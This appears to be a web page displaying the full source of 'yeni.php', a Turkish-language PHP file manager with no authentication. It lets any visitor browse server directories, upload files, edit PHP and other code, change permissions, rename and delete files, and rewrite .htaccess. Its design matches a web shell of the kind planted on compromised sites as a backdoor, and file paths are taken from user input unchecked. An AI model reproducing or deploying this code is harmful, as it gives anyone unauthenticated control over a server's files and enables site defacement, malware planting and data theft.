Dizin Yönetimi

Dosya Düzenle: yeni.php

<?php
session_start();

// Mevcut dizini kontrol et
if (!isset($_SESSION['current_dir'])) {
    $_SESSION['current_dir'] = getcwd();
}

// Kullanıcının tıklamalarını işleme
if (isset($_GET['dir'])) {
    $new_dir = $_GET['dir'];

if ($new_dir === '..') {
        $_SESSION['current_dir'] = dirname($_SESSION['current_dir']);
    } elseif (is_dir($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $new_dir)) {
        $_SESSION['current_dir'] = realpath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $new_dir);
    }
}

// Mevcut dizin bilgileri
$current_dir = $_SESSION['current_dir'];
$files = scandir($current_dir);

// Klasörleri ve dosyaları ayrı listeler
$folders = [];
$regular_files = [];
foreach ($files as $file) {
    if ($file === '.' || $file === '..') continue;
    $full_path = $current_dir . DIRECTORY_SEPARATOR . $file;
    if (is_dir($full_path)) {
        $folders[] = $file;
    } else {
        $regular_files[] = $file;
    }
}

// Dosya düzenleme kaydetme
if (isset($_POST['edit_file']) && isset($_POST['file_content'])) {
    $file_to_edit = $current_dir . DIRECTORY_SEPARATOR . $_POST['edit_file'];
    file_put_contents($file_to_edit, $_POST['file_content']);
    echo "<div class='alert alert-success'>Dosya başarıyla düzenlendi: " . htmlspecialchars($_POST['edit_file']) . "</div>";
}

// Dosya izinlerini değiştirme
if (isset($_POST['change_permissions']) && isset($_POST['permissions'])) {
    $file_to_change = $current_dir . DIRECTORY_SEPARATOR . $_POST['change_permissions'];
    chmod($file_to_change, octdec($_POST['permissions']));
    echo "<div class='alert alert-success'>İzinler değiştirildi: " . htmlspecialchars($_POST['change_permissions']) . "</div>";
}

// Dosya yükleme
if (isset($_FILES['upload_file'])) {
    $uploaded_file = $current_dir . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']);
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploaded_file)) {
        echo "<div class='alert alert-success'>Dosya başarıyla yüklendi: " . htmlspecialchars(basename($_FILES['upload_file']['name'])) . "</div>";
    } else {
        echo "<div class='alert alert-danger'>Dosya yüklenirken bir hata oluştu.</div>";
    }
}

// Dosya ismini değiştirme
if (isset($_POST['rename_file']) && isset($_POST['new_name'])) {
    $old_file = $current_dir . DIRECTORY_SEPARATOR . $_POST['rename_file'];
    $new_file = $current_dir . DIRECTORY_SEPARATOR . $_POST['new_name'];

if (file_exists($old_file) && !file_exists($new_file)) {
        rename($old_file, $new_file);
        echo "<div class='alert alert-success'>Dosya adı değiştirildi: " . htmlspecialchars($_POST['rename_file']) . " → " . htmlspecialchars($_POST['new_name']) . "</div>";
    } else {
        echo "<div class='alert alert-danger'>Yeniden adlandırma işlemi başarısız. Dosya zaten var veya mevcut değil.</div>";
    }
}

// Dosya silme
if (isset($_POST['delete_file'])) {
    $file_to_delete = $current_dir . DIRECTORY_SEPARATOR . $_POST['delete_file'];
    if (is_file($file_to_delete) && unlink($file_to_delete)) {
        echo "<div class='alert alert-success'>Dosya başarıyla silindi: " . htmlspecialchars($_POST['delete_file']) . "</div>";
    } else {
        echo "<div class='alert alert-danger'>Dosya silme işlemi başarısız.</div>";
    }
}

// .htaccess düzenleme kontrolü
if (isset($_GET['edit_htaccess'])) {
    $htaccess_path = $current_dir . DIRECTORY_SEPARATOR . '.htaccess';
    if (is_file($htaccess_path)) {
        $htaccess_content = file_get_contents($htaccess_path);
    } else {
        $htaccess_content = "";
    }
}

if (isset($_POST['save_htaccess']) && isset($_POST['htaccess_content'])) {
    $htaccess_path = $current_dir . DIRECTORY_SEPARATOR . '.htaccess';
    file_put_contents($htaccess_path, $_POST['htaccess_content']);
    echo "<div class='alert alert-success'>.htaccess başarıyla düzenlendi.</div>";
}

// Düzenlenebilir dosya uzantıları
$editable_extensions = ['php', 'html', 'txt', 'css', 'js'];
?>

<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dizin Yönetimi</title>
    
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        body {
            background-color: #121212;
            color: #ffffff;
        }
        .card {
            background-color: #1e1e1e;
        }
        .btn {
            color: #ffffff;
        }
        .btn-primary {
            background-color: #007bff;
        }
        .btn-secondary {
            background-color: #6c757d;
        }
        .alert {
            background-color: #333333;
            color: #ffffff;
        }
        .list-group-item {
            background-color: #1e1e1e;
            color: #ffffff;
        }
        .editable {
            cursor: pointer;
            background-color: #252525;
            border: 1px solid #444;
            padding: 2px 5px;
        }
    </style>
</head>
<body>
<div class="container mt-4">
    <h1 class="mb-4">Dizin Yönetimi</h1>
    <p class="lead"><strong>Mevcut Dizin:</strong> <?php echo htmlspecialchars($current_dir); ?></p>

<?php if (dirname($current_dir) !== $current_dir): ?>
        <p><a href="?dir=.." class="btn btn-secondary btn-sm">🔼 Üst Dizin</a></p>
    <?php endif; ?>

<?php if (is_file($current_dir . DIRECTORY_SEPARATOR . '.htaccess')): ?>
        <p>
            <a href="?edit_htaccess=true" class="btn btn-warning btn-sm">.htaccess Dosyasını Düzenle</a>
        </p>
    <?php endif; ?>

<div class="card mb-4">
        <div class="card-header bg-primary text-white">Dosya İşlemleri</div>
        <div class="card-body">
            <form method="POST" enctype="multipart/form-data">
                <div class="mb-3">
                    <label for="upload_file" class="form-label">Dosya Yükle</label>
                    <input type="file" id="upload_file" name="upload_file" class="form-control" required>
                </div>
                <button type="submit" class="btn btn-info">Yükle</button>
            </form>
        </div>
    </div>

<div class="card">
        <div class="card-header bg-primary text-white">Dosyalar ve Dizinler</div>
        <ul class="list-group list-group-flush">
            <?php foreach ($folders as $folder): ?>
                <li class="list-group-item d-flex justify-content-between align-items-center">
                    <span>📁 <a href="?dir=<?php echo urlencode($folder); ?>"><?php echo htmlspecialchars($folder); ?></a></span>
                </li>
            <?php endforeach; ?>

<?php foreach ($regular_files as $file): ?>
                <?php 
                $full_path = $current_dir . DIRECTORY_SEPARATOR . $file; 
                $file_extension = pathinfo($file, PATHINFO_EXTENSION);
                ?>
                <li class="list-group-item d-flex justify-content-between align-items-center">
                    <span class="editable" data-file="<?php echo htmlspecialchars($file); ?>">
                        📄 <?php echo htmlspecialchars($file); ?>
                    </span>
                    <div>
                        <form method="POST" class="d-inline">
                            <input type="hidden" name="change_permissions" value="<?php echo htmlspecialchars($file); ?>">
                            <input type="text" name="permissions" value="<?php echo substr(sprintf('%o', fileperms($full_path)), -4); ?>" class="form-control form-control-sm d-inline w-auto">
                            <button type="submit" class="btn btn-sm btn-info">İzinleri Güncelle</button>
                        </form>
                        <?php if (in_array($file_extension, $editable_extensions)): ?>
                            <a href="?edit=<?php echo urlencode($file); ?>" class="btn btn-sm btn-primary">Düzenle</a>
                        <?php endif; ?>
                        <form method="POST" class="d-inline">
                            <input type="hidden" name="delete_file" value="<?php echo htmlspecialchars($file); ?>">
                            <button type="submit" class="btn btn-sm btn-danger">Sil</button>
                        </form>
                    </div>
                </li>
            <?php endforeach; ?>
        </ul>
    </div>

<?php if (isset($_GET['edit'])): ?>
        <?php
        $file_to_edit = $current_dir . DIRECTORY_SEPARATOR . $_GET['edit'];
        if (is_file($file_to_edit) && is_readable($file_to_edit)):
            $content = file_get_contents($file_to_edit);
        ?>
            <div class="mt-4">
                <h3>Dosya Düzenle: <?php echo htmlspecialchars($_GET['edit']); ?></h3>
                <form method="POST">
                    <textarea name="file_content" rows="10" class="form-control"><?php echo htmlspecialchars($content); ?></textarea>
                    <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
                    <button type="submit" class="btn btn-primary mt-2">Kaydet</button>
                </form>
            </div>
        <?php else: ?>
            <div class="alert alert-danger mt-4">Bu dosya düzenlenemez veya okunamaz.</div>
        <?php endif; ?>
    <?php endif; ?>

<?php if (isset($_GET['edit_htaccess'])): ?>
        <div class="mt-4">
            <h3>.htaccess Dosyasını Düzenle</h3>
            <form method="POST">
                <textarea name="htaccess_content" rows="10" class="form-control"><?php echo htmlspecialchars($htaccess_content); ?></textarea>
                <button type="submit" name="save_htaccess" class="btn btn-primary mt-2">Kaydet</button>
            </form>
        </div>
    <?php endif; ?>
</div>